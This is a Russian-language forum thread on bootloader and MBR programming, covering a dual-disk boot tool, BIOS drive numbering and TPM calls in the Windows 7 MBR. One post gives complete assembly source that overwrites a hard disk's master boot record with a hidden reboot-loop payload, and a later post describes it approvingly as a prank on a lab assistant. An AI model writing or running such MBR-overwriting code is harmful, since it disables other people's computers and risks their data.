Загрузка первого байта первого сектора

Тема в разделе "WASM.OS.DEVEL", создана пользователем Antoniosis, 7 авг 2010.

  1. abcd008

    abcd008 New Member

    Публикаций:
    0
    Регистрация:
    8 фев 2009
    Сообщения:
    616
    а ты систему пишешь для себя (из интереса) или для кого-то.
     
  2. Phantom_84

    Phantom_84 New Member

    Публикаций:
    0
    Регистрация:
    6 июн 2007
    Сообщения:
    820
    Я не забыл, но я у себя ничего подобного не нашел, т.е. данная команда у меня вообще не используется. Что касается ОС, то пишу для себя, но это мое хобби периодически перекликается с работой, поэтому вполне возможно, что это скоро перестанет быть просто увлечением.
     
  3. nesh22

    nesh22 Александр Смаиливочков Дестроиствонков.

    Публикаций:
    0
    Регистрация:
    13 фев 2011
    Сообщения:
    2
    Адрес:
    Беларусь, Минск - город герой
    Оо Спасибо! наконец нашел косяки в своей теме.
     
  4. Phantom_84

    Phantom_84 New Member

    Публикаций:
    0
    Регистрация:
    6 июн 2007
    Сообщения:
    820
    Вы о чем?
     
  5. Phantom_84

    Phantom_84 New Member

    Публикаций:
    0
    Регистрация:
    6 июн 2007
    Сообщения:
    820
    mbremu-src.zip
    mbremu-bin.zip
    cdboot-mbremu-alter-2-src.zip
    cdboot-mbremu-alter-2-bin.zip
     
  6. Phantom_84

    Phantom_84 New Member

    Публикаций:
    0
    Регистрация:
    6 июн 2007
    Сообщения:
    820
    Для загрузки с двух различных дисков с использованием Alter'а нужно выполнить следующие конфигурационные шаги:
    1) установить Alter на диск с альтернативным загрузочным разделом, задать значения keyflags и magicnumber;
    2) сделать все разделы этого диска неактивными;
    3) установить приоритет этого диска выше, чем приоритет диска с активным загрузочным разделом в загрузочной последовательности BIOS.
     
  7. asmlamo

    asmlamo Well-Known Member

    Публикаций:
    0
    Регистрация:
    18 май 2004
    Сообщения:
    1.734
    Код (Text):
    1. code segment
    2.  
    3.      org 100h
    4.      assume cs:code,ds:code
    5.  
    6. start:
    7.      push ds
    8.      push ax
    9.      push si
    10.  
    11.      mov ax,cs
    12.      mov es,ax
    13.      mov bx,offset bf
    14.  
    15.        mov ah,02h
    16.        mov al,01h
    17.        mov ch,00h
    18.        mov cl,01h
    19.        mov dh,00h
    20.        mov dl,80h
    21.        int 13h
    22.  
    23.        push cx es ds di si
    24.  
    25.        mov cx,dlinna
    26.        push cs
    27.        push cs
    28.        pop es
    29.        pop ds
    30.        lea di,bf
    31.        lea si,zapadlo
    32.        rep movsb
    33.  
    34.        pop si di ds es cx
    35.  
    36. ok_1:  mov bx,offset bf
    37.        mov ah,03h
    38.        mov al,01h
    39.        mov ch,00h
    40.        mov cl,01h
    41.        mov dh,00h
    42.        mov dl,80h
    43.        
    44.        int 13h
    45.      
    46.        
    47.        
    48.        pop si
    49.        pop ax
    50.        pop ds
    51.  
    52.      int 20h
    53.  
    54.  bf  db 512 dup (0)
    55.  
    56. zapadlo:
    57.        cli
    58.        xor ax,ax
    59.        mov ss,ax
    60.        mov sp,7c00h
    61.        mov si,sp
    62.        mov es,ax
    63.        mov ds,ax
    64.        sti
    65.        cld
    66.        mov di,600h
    67.        mov cx,100h
    68.        repne movsw
    69.  
    70. db 0eah,0f0h,0ffh,00h,0f0h
    71. dlinna=$-zapadlo
    72.  
    73. code ends
    74.      end start
     
  8. Phantom_84

    Phantom_84 New Member

    Публикаций:
    0
    Регистрация:
    6 июн 2007
    Сообщения:
    820
    Это не Alter )))
     
  9. asmlamo

    asmlamo Well-Known Member

    Публикаций:
    0
    Регистрация:
    18 май 2004
    Сообщения:
    1.734
    Это была студенческая шутка. Издевались так над лаборанткой.
    Перезаписывал MBR в который был встроен код на перезагрузку но не в начало а в середину оригинального MBR. Это не позволяло определить что MBR с изюминкой обычными утилитами.

    Комп переходил в цикл перезагрузки ....
    Тогда нас студентов это дико веселило.
     
  10. Phantom_84

    Phantom_84 New Member

    Публикаций:
    0
    Регистрация:
    6 июн 2007
    Сообщения:
    820
    А я сейчас над племянниками издеваюсь. У меня грузятся винды, а у них линух... с одинаковыми обоями. Они в линухе плохо ориентируются, к тому же в нем нет их любимых игрушек. Короче они сильно злятся, а меня это сильно веселит - улыбка до ушей - ничего не могу с собой поделать.
     
  11. Phantom_84

    Phantom_84 New Member

    Публикаций:
    0
    Регистрация:
    6 июн 2007
    Сообщения:
    820
    ...в общем прививаю интерес к системному программированию )))
     
  12. Phantom_84

    Phantom_84 New Member

    Публикаций:
    0
    Регистрация:
    6 июн 2007
    Сообщения:
    820
    4) для загрузки отличной от Vista/Seven Windows с (не первого) диска с активным загрузочным разделом пропатчить (если это необходимо!!! Это BIOS-специфично!) дескриптор и структуру загрузочного сектора активного загрузочного раздела, переустановив значение первого байта дескриптора и значение поля BS_DrvNum структуры загрузочного сектора (смещение 24h для FAT16/NTFS, смещение 40h для FAT32) в к примеру 81h. Или использовать BOOTMGR (и его MBR-загрузчик и первичный загрузчик) для загрузки отличной от Vista/Seven Windows.
     
  13. MisHel64

    MisHel64 Member

    Публикаций:
    0
    Регистрация:
    9 мар 2011
    Сообщения:
    182
    Вообще-то бот менеджеры для этих целей вешают свой обработчик INT13, и в нем переопределяют номера устройств.
     
  14. abcd008

    abcd008 New Member

    Публикаций:
    0
    Регистрация:
    8 фев 2009
    Сообщения:
    616
    Phantom_84
    а ты в своем загрузчике не пользуешься TCG TPM?.
    зачем он вообще нужен?
    просто разбирал mbr windows и смотрю что они его используют. а для чего не пойму.
    http://mirror.href.com/thestarman/asm/mbr/W7MBR.htm
     
  15. MisHel64

    MisHel64 Member

    Публикаций:
    0
    Регистрация:
    9 мар 2011
    Сообщения:
    182
    Если коротко, то для крипто системы.
     
  16. Phantom_84

    Phantom_84 New Member

    Публикаций:
    0
    Регистрация:
    6 июн 2007
    Сообщения:
    820
    Alter не бутменеджер.
     
  17. Phantom_84

    Phantom_84 New Member

    Публикаций:
    0
    Регистрация:
    6 июн 2007
    Сообщения:
    820
    Не использую. Внедрение TPM в ПК запрещено в России.
     
  18. abcd008

    abcd008 New Member

    Публикаций:
    0
    Регистрация:
    8 фев 2009
    Сообщения:
    616
    а почему? оно для сертификации подходит и для случайных чисел)
    у меня в компе вроде есть)
    а что делает винда в mbr функциями 0 и 7?
     
  19. Phantom_84

    Phantom_84 New Member

    Публикаций:
    0
    Регистрация:
    6 июн 2007
    Сообщения:
    820
    Понятия не имею. Наверно опять пытается защититься от пиратского копирования всеми законными и не очень способами.
     
  20. abcd008

    abcd008 New Member

    Публикаций:
    0
    Регистрация:
    8 фев 2009
    Сообщения:
    616
    я прочитал на форуме что он просто очищает всю память через этот сервис. чтоб в памяти не осталось паролей или еще чего...